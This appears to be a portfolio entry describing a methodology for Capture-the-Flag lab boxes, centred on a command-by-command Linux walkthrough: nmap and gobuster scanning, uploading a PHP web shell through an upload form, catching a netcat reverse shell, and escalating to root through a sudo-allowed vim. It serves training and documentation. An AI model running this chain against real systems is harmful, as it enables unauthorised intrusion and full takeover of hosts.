CTF Walkthroughs & Technical Write-Ups
Write detailed Capture-the-Flag (CTF) walkthroughs and technical write-ups.
Project objective
Develop a consistent, repeatable methodology for solving Capture-the-Flag challenges — primarily Linux privilege-escalation boxes on HackTheBox/TryHackMe and web/binary categories from PicoCTF — and write each one up as a clear technical walkthrough rather than just a list of commands.
What I did
Every box or challenge followed the same four-phase approach: enumerate, identify a foothold, escalate privileges, and document. A representative Linux box walkthrough:
# 1. Enumeration
nmap -sC -sV -oA scans/initial 10.10.11.42
gobuster dir -u http://10.10.11.42 -w /usr/share/wordlists/dirb/common.txt
# 2. Foothold — found an exposed upload form accepting .phtml
curl -F "file=@shell.phtml" http://10.10.11.42/upload.php
curl "http://10.10.11.42/uploads/shell.phtml?cmd=id"
# 3. Stabilize the shell
rlwrap nc -lvnp 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 4. Privilege escalation enumeration
./linpeas.sh | tee linpeas.log
sudo -l
find / -perm -4000 -type f 2>/dev/null
# Found a misconfigured sudo rule allowing a GTFOBins-listed binary
sudo /usr/bin/vim -c ':!/bin/sh'Each write-up records the exact recon output that revealed the vulnerable service, the reasoning for choosing a given exploitation path over alternatives, the full path from initial foothold to root, and a short "lessons" section on what the box was really testing (e.g., insecure file upload validation, or a GTFOBins-abusable sudo rule).
Key learning
The recurring bottleneck was never exploitation — it was enumeration discipline. Boxes that felt "stuck" almost always had the answer sitting in an nmap or gobuster scan that hadn't been re-read carefully enough. Writing the walkthrough afterward, rather than only keeping terminal history, also forced a much better understanding of why each step worked, which made later boxes faster to solve.